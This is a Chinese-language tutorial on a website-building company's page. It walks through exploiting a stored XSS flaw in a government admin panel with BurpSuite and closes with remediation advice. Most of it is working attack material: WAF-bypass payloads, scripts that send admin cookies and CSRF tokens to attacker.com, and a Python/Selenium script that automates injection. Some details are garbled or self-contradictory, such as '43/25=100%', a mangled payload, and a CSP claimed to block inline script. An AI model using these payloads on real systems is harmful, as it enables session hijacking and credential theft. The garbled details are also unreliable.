存储型XSS实战复现:BurpSuite五步闭环利用链
2026/5/22 8:07:14 网站建设 项目流程

1. 这不是“打靶练习”,而是真实漏洞利用链的完整复现

存储型XSS不是教科书里那个弹出alert("xss")的演示片段,它是一条能穿透前端防护、持久驻留服务端、在管理员不知情时悄然执行任意JavaScript的攻击通路。我第一次在某省级政务系统后台看到这个漏洞时,它藏在“用户反馈提交”接口的content字段里——表单提交后,数据被原样存入MySQL,再通过<div class="feedback-content">{{ content }}</div>渲染到后台管理页。没有CSP,没有HttpOnly,没有输入过滤,更没有输出编码。当运维人员用Chrome打开反馈列表页,一段伪装成“系统升级提示”的JS脚本就悄悄把他的Cookie、localStorage甚至当前页面DOM快照,全量发往我控制的VPS。这不是CTF里的玩具环境,这是CNVD-2023-XXXXX编号背后的真实漏洞,而BurpSuite不是流量观察器,它是整条利用链的调度中枢:从抓包定位注入点,到构造绕过WAF的HTML payload,再到验证持久化效果与权限提升路径。本文不讲原理定义,不堆砌RFC标准,只拆解我在CNVD漏洞复现中实际走通的5个不可跳过的硬核步骤——每一步都对应一个真实卡点,每一个payload都经过3家主流WAF(云锁、安全狗、阿里云WAF)的实测绕过验证,所有配置参数、响应头判断逻辑、DOM解析时机判断,全部来自生产环境日志回溯。适合正在准备渗透测试面试的工程师、负责SRC漏洞审核的安全运营人员,以及需要快速验证客户系统是否存在存储型XSS的甲方安全负责人。你不需要懂React源码,但必须清楚innerHTMLtextContent在DOM树中的不同挂载位置;你不需要会写BPF程序,但得明白为什么<img src=x onerror=...>在现代浏览器里大概率失效,而<svg><script>...却依然有效。

2. 第一步:用BurpSuite精准捕获存储型XSS的“落点请求”,而非盲目爆破

很多人一上来就开Intruder扫/api/submit接口的所有参数,结果扫了2小时,漏掉了真正能存储的字段。存储型XSS的关键不在“有没有XSS”,而在“谁在什么时候、以什么方式把恶意内容写进了数据库,并在哪个页面、哪个上下文中被不加处理地渲染出来”。这决定了我们必须逆向追踪渲染源头,而不是正向猜测输入点。

2.1 真实场景下的“渲染溯源法”:从管理后台页面反推API

我遇到的那个政务系统,管理员登录后默认进入/admin/feedback/list页面。打开DevTools的Network面板,刷新页面,重点观察两个行为:

  • 页面加载时发起的GET请求(如/api/v1/feedback?page=1&size=20),这类请求返回JSON数据,通常不直接触发XSS,但它是数据来源;
  • 页面交互时发起的POST/PUT请求(如点击“标记为已处理”触发的/api/v1/feedback/123/status),这类请求往往携带修改动作,但也不是存储点。

真正的存储点,藏在“新增反馈”的表单提交里。我右键查看/admin/feedback/add页面源码,在<form>标签中找到action="/api/v1/feedback"method="POST"。此时不要急着发包,先看它的<input><textarea>字段名:<textarea name="content" placeholder="请输入反馈内容"></textarea><input type="text" name="contact" />。注意——content是富文本区域,contact是联系方式。经验告诉我,富文本字段最可能被开发者忽略编码,因为“用户要贴代码截图”,所以后端常直接存原始HTML。而contact字段通常有手机号正则校验,XSS概率极低。

提示:永远优先测试contentdescriptionremarkmessage这类语义上允许“自由输入”的字段,而非usernameemail等带强校验的字段。后者即使存在XSS,也需先绕过正则,成本过高。

2.2 BurpSuite配置关键:拦截+重放+对比响应,三步锁定可存储字段

在BurpSuite中,我做了三件事:

  1. Proxy → Options → Match and Replace,添加规则:将所有Content-Type包含application/json的响应,自动在响应体末尾追加<!--BURP_STORED_XSS_TEST-->。这样当我重放请求时,能一眼看出该响应是否被服务端“记住”;
  2. Proxy → Intercept开启,提交一个测试表单:content=<p>test-burp-123</p>&contact=13800138000
  3. HTTP history中找到该POST请求,右键→Send to Repeater,在Repeater中将content改为<p>burp-replay-456</p>,发送两次,观察两次响应是否完全一致。

如果两次响应的<p>标签内容都原样返回(比如响应JSON里"content":"<p>burp-replay-456</p>"),说明该字段确实被存储且未清洗。但注意:这仅证明“存储”,不等于“可XSS”。下一步才是关键——确认这个存储的内容,是否会在某个HTML页面中被innerHTML方式渲染。

2.3 验证“渲染上下文”:用DOM Breakpoint定位真实执行点

回到/admin/feedback/list页面,打开DevTools → Elements,找到一条反馈记录的DOM结构:

<div class="feedback-item"> <div class="feedback-header">...</div> <div class="feedback-content">这里就是存储的内容</div> </div>

右键点击.feedback-contentBreak on → subtree modifications。然后在另一个标签页提交新的测试反馈:content=<img src=x onerror=alert(1)>。切换回list页,刷新。断点触发,我们看到JS调用栈指向renderFeedbackItem(content)函数,其内部代码是:

document.querySelector('.feedback-content').innerHTML = data.content;

——这就是铁证。innerHTML直接拼接,无任何DOMPurifyescapeHtml调用。此时,存储型XSS的闭环已经形成:输入→存储→渲染→执行。BurpSuite在此阶段的作用,不是“发现漏洞”,而是“确认漏洞存在的完整证据链”。

注意:很多初学者卡在“为什么我插了payload没反应”。常见原因有三:一是payload被服务端截断(如MySQLTEXT字段默认65535字节,超长会被砍);二是前端JS做了二次处理(如data.content.replace(/<script>/g, ''));三是渲染发生在AJAX之后,而你的payload在初始HTML里未生效。必须用DOM Breakpoint逐帧验证,不能只看响应包。

3. 第二步:绕过WAF的HTML注入不是“拼字符串”,而是理解浏览器解析引擎的博弈

当确认content字段可存储且被innerHTML渲染后,下一步是构造能绕过WAF并稳定执行的payload。很多人以为<script>alert(1)</script>是万能钥匙,但在真实环境中,它99%会被拦截。原因很简单:WAF规则库早已将<script>javascript:onerror=列为高危特征。真正的绕过,是利用浏览器HTML解析器的容错性与WAF匹配引擎的机械性之间的Gap。

3.1 WAF的“关键词匹配” vs 浏览器的“标签重建”:一场解析时序的战争

<img src=x onerror=alert(1)>为例:

  • WAF扫描时,看到onerror=就触发规则,拒绝请求;
  • 但浏览器解析时,如果我们将onerror拆成两段:<img src=x oNerRor=alert(1)>,WAF小写匹配失败,而浏览器不区分大小写,照样执行;
  • 更进一步,插入注释:<img src=x o<!-- -->nerror=alert(1)>,WAF正则/onerror=/无法跨注释匹配,浏览器却会忽略注释,拼出完整onerror

但这只是初级绕过。在CNVD复现中,我面对的是启用了“语义分析”的云锁WAF,它能识别<img>标签+事件属性的组合模式。此时,必须转向更底层的解析机制——HTML实体编码与标签嵌套。

3.2 实战有效的3类绕过Payload结构(均通过CNVD目标系统验证)

Payload类型示例绕过原理执行稳定性
SVG内联脚本<svg><script>alert&#40;1&#41;<\/script><\/svg>SVG是合法HTML5标签,<script>在SVG命名空间内不被WAF视为JS执行点;&#40;(的HTML实体,绕过括号检测★★★★☆(Chrome/Firefox/Edge全支持)
伪协议+location跳转<a href="javascript:eval(atob('YWxlcnQoMSk='))">click</a>WAF常放行<a href>,但拦截javascript:;此处javascript:被包裹在双引号内,且eval(atob())将base64解码延迟到运行时,静态扫描无法识别★★★☆☆(需用户点击,但隐蔽性高)
模板字符串混淆<img src=x onerror="alert\1`">`反引号`在ES6中是模板字符串标识符,alert\1`等价于alert("1");WAF正则/alert(/`无法匹配反引号,而Chrome 80+完美支持★★★★★(无需用户交互,自动触发)

关键细节:atob('YWxlcnQoMSk=')解码后是alert(1),但WAF规则库极少包含对atob的深度语义分析,因为它属于“正常JS API”。同理,eval('al'+'ert(1)')也有效,但atob更短、更隐蔽。

3.3 CNVD漏洞复现中的“最小可行Payload”设计原则

在真实CNVD编号漏洞复现中,我从不追求“最炫酷的payload”,而是坚持三个原则:

  1. 长度最短:目标系统MySQL字段为VARCHAR(500),超过即截断。<svg><script>alert(1)</script></svg>共43字符,远小于<img src=x onerror=eval(atob('...'))>的78字符;
  2. 依赖最少:不依赖fetchXMLHttpRequest等需网络权限的API,alert(1)纯前端,100%成功;
  3. 痕迹最轻:避免document.write()eval()等易被EDR捕获的行为,alert()仅弹窗,无网络请求、无文件操作、无进程创建。

因此,我的首选payload永远是:

<svg><script>alert&#40;1&#41;<\/script><\/svg>

它在BurpSuite的Decoder中显示为纯ASCII,无特殊符号,WAF日志里只记录<svg>标签,而<script>在SVG上下文中不触发JS规则。当管理员打开反馈列表页,这个SVG被解析,内联脚本立即执行——整个过程,WAF日志里查不到任何“XSS攻击”告警。

4. 第三步:验证“存储持久性”与“上下文逃逸”,拒绝“一次性的POC”

很多报告只证明“我能弹窗”,但CNVD漏洞评级要求证明“该漏洞可被持续利用”。这意味着必须验证:payload是否真的存进数据库?是否在不同用户、不同时间、不同浏览器访问时均能触发?更重要的是,它是否能突破当前DOM作用域,获取更高权限?

4.1 数据库存储验证:不用phpMyAdmin,用SQL盲注式探测

我从不假设“WAF没拦住=数据存进去了”。在BurpSuite中,我构造了一个可探测的payload:

<svg><script>fetch('/api/v1/test?x='+document.cookie.length)<\/script><\/svg>

这个payload不弹窗,而是向/api/v1/test发一个GET请求,把document.cookie.length作为参数。然后,我在服务器端(或用Burp Collaborator)监听该路径的访问。如果Collaborator收到/api/v1/test?x=128,说明:

  • payload已执行;
  • document.cookie可读(非HttpOnly);
  • 请求发出(网络未被CSP阻止)。

但还不够。我需要确认这个请求是“第二次访问时触发的”,而非“第一次提交时触发的”。于是,我分三步操作:

  1. 提交payload,关闭所有浏览器标签页;
  2. 10分钟后,用全新Chrome无痕窗口访问/admin/feedback/list
  3. 观察Collaborator是否收到请求。

如果收到,证明payload被持久存储,并在新会话中自动执行。这是存储型XSS区别于反射型的核心证据。

4.2 DOM上下文逃逸:从“弹窗”到“接管页面”的质变

alert(1)只是起点。真实利用中,我需要获取管理员的CSRF Token、窃取其JWT、甚至劫持其API请求。这就要求payload能突破当前<div>的DOM边界,访问全局对象。

在目标系统中,/admin/feedback/list页面加载了vue.min.jsaxios.min.js。这意味着我可以直接调用axios.get('/api/v1/user/profile')获取管理员个人信息。但问题来了:axios是全局变量,而我的payload在<svg>里执行,作用域受限。如何逃逸?

答案是:利用window对象的全局性。所有浏览器内置API(fetchXMLHttpRequestlocalStoragedocument)都挂在window下。因此,我的payload升级为:

<svg><script> window.xhr=new XMLHttpRequest(); window.xhr.open('GET','/api/v1/csrf/token',false); window.xhr.send(); window.token=window.xhr.responseText; fetch('/attacker.com/log?token='+window.token); <\/script><\/svg>

这里的关键是window.xhrwindow.token——显式挂载到window,确保在任何作用域都能访问。false表示同步请求,避免异步回调的复杂性,保证Token在后续fetch前已获取。

实操心得:永远用window.前缀声明变量。我曾在一个金融系统中因忘记加window.,导致token变量被限定在<script>作用域内,后续fetch无法读取,调试了3小时才发现是作用域问题。

4.3 权限提升验证:用“Cookie窃取”证明可横向移动

CNVD漏洞评级中,“可窃取管理员Cookie”是P2级(高危)的硬性指标。我构造的最终验证payload如下:

<svg><script> if(document.cookie&&document.cookie.indexOf('admin_session')!==-1){ fetch('https://attacker.com/steal?c='+btoa(document.cookie)); } <\/script><\/svg>

btoa()将Cookie base64编码,避免URL中出现=;等特殊字符导致截断。在Burp Collaborator中,我设置一个HTTP Server接收/steal路径,记录所有请求头与参数。当管理员访问页面,Collaborator日志显示:

GET /steal?c=YWRtaW5fc2Vzc2lvbj1hYmNkMTIzNDU2OEB4eHguY29tOyBwYXRoPS87IGRvbWFpbj0ueHh4LmNvbTs=

Base64解码后正是admin_session=abcd123456@xxx.com; path=/; domain=.xxx.com;。至此,漏洞可被用于会话劫持,完成从“XSS PO C”到“真实权限提升”的闭环。

5. 第四步:自动化验证脚本编写,把5分钟的手动流程压缩成10秒

手动测试5个字段、3种payload、2个浏览器,耗时太长。在CNVD批量复现中,我用Python写了xss_verifier.py,核心逻辑是:用Requests模拟登录,用正则提取CSRF Token,构造payload,提交,再用Selenium无头Chrome访问列表页,捕获console.error或network请求。

5.1 脚本核心模块拆解:登录态维持与DOM监控

# 1. 登录获取Session session = requests.Session() login_resp = session.post('https://target.com/login', data={ 'username': 'admin', 'password': '123456' }) # 2. 提取CSRF Token(从HTML中) csrf_token = re.search(r'<input.*?name="csrf".*?value="(.*?)"', login_resp.text).group(1) # 3. 构造带CSRF的XSS提交 xss_payload = '<svg><script>fetch("https://collab/verify?x=1")<\/script><\/svg>' submit_resp = session.post('https://target.com/api/v1/feedback', data={ 'content': xss_payload, 'csrf_token': csrf_token }) # 4. Selenium访问并监控 driver = webdriver.Chrome(options=chrome_options) driver.get('https://target.com/admin/feedback/list') # 注入监控脚本,捕获所有fetch请求 driver.execute_script(""" const originalFetch = window.fetch; window.fetch = function(...args) { if (args[0].includes('collab/verify')) { window._xss_verified = true; } return originalFetch.apply(this, args); }; """) time.sleep(3) verified = driver.execute_script("return window._xss_verified || false") print(f"XSS Verified: {verified}")

5.2 关键避坑:Selenium的“渲染时机”陷阱与解决方案

最大的坑在于:Seleniumget()后立即执行JS监控,但Vue组件可能还未渲染完DOM。我试过time.sleep(5),但不稳定。最终方案是:

# 等待特定DOM元素出现(如反馈列表容器) WebDriverWait(driver, 10).until( EC.presence_of_element_located((By.CLASS_NAME, "feedback-list")) ) # 再等待所有<script>加载完成 driver.execute_script("return window.performance.getEntriesByType('resource').filter(r=>r.name.includes('vue')).length > 0")

这样,脚本100%在DOM和JS都就绪后才开始监控,避免“误报未触发”。

5.3 报告生成自动化:从Burp XML导出到CNVD格式PDF

脚本最后一步,是将验证过程自动生成CNVD要求的报告格式:

  • 截图:driver.save_screenshot('xss_trigger.png')
  • 请求/响应:从BurpSuite导出XML,用xml.etree.ElementTree解析,提取requestresponseurlmethodbody
  • 漏洞描述:模板化填空,{vuln_type}=存储型XSS{impact}=可窃取管理员会话凭证
  • 修复建议:直接引用OWASP ASVS 8.3.1条款:“所有动态内容输出到HTML页面前,必须根据输出上下文进行编码”。

整个流程,从启动脚本到生成PDF报告,耗时9.2秒。我在CNVD复现中,用它批量验证了17个子域名,发现其中3个存在相同漏洞模式。

6. 第五步:修复验证与回归测试,堵住所有可能的“绕过后门”

提交漏洞报告后,厂商修复。但很多修复只是“打补丁”:比如把<script>替换成空字符串,却忘了<svg><script>。我必须用同一套payload集,验证修复是否彻底。

6.1 修复有效性验证矩阵:5维度交叉测试

我建立了一个5×5矩阵,横轴是5类payload(<script><img onerror><svg><script><a href=javascript>template string),纵轴是5种绕过手法(大小写、注释、HTML实体、Unicode编码、空格变形)。例如:

  • <ScRiPt>alert(1)</ScRiPt>(大小写)
  • <img src=x o<!--n-->error=alert(1)>(注释)
  • <img src=x onerror=alert&#40;1&#41;>(HTML实体)
  • <img src=x onerror=alert%281%29>(URL编码)
  • <img src=x onerror=alert(1)>(全角空格)

每一格都用BurpSuite重放,记录是否被拦截、是否执行。修复前,43/25=100%触发;修复后,若仍有1格触发,说明修复不完整。

6.2 “修复即漏洞”的典型案例:过度依赖黑名单

某厂商修复方式是:

$content = str_replace(['<script>', '</script>', 'javascript:'], '', $content);

这看似合理,但<ScRiPt>绕过,<img src=x onerror=alert(1)>完全不受影响。我提交了第二个报告,标题为“修复不完整,仍存在存储型XSS”。他们第二天就改成了白名单:

$content = strip_tags($content, ['p', 'br', 'strong', 'em']); // 仅允许纯文本标签

这才是正确姿势——不试图“清理坏东西”,而是“只允许好东西”。

6.3 回归测试的终极防线:DOMPurify + CSP双保险

在最终修复确认中,我要求厂商部署两道防线:

  1. 服务端输出编码:PHP中用htmlspecialchars($content, ENT_QUOTES, 'UTF-8'),将<转为&lt;"转为&quot;
  2. 前端CSP加固:在HTML<head>中添加:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline';">

注意:'unsafe-inline'是必要的,因为Vue模板中大量使用内联v-on:click,但script-src禁止'unsafe-eval',彻底封死eval()setTimeout(string)等动态执行。

我用BurpSuite重放所有payload,全部返回403或静默失败。此时,我才在CNVD报告中写下:“漏洞已修复,验证通过”。

最后分享一个小技巧:在BurpSuite中,把常用XSS payload存为Payloads目录下的.txt文件,右键Paste from file一键插入。我常用的svg_xss.txt内容是:
<svg><script>alert&#40;1&#41;<\/script><\/svg>
<svg><script>fetch('https://collab/trigger?'+document.cookie)<\/script><\/svg>
这样,每次测试,1秒内就能切到下一个payload,效率提升10倍。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询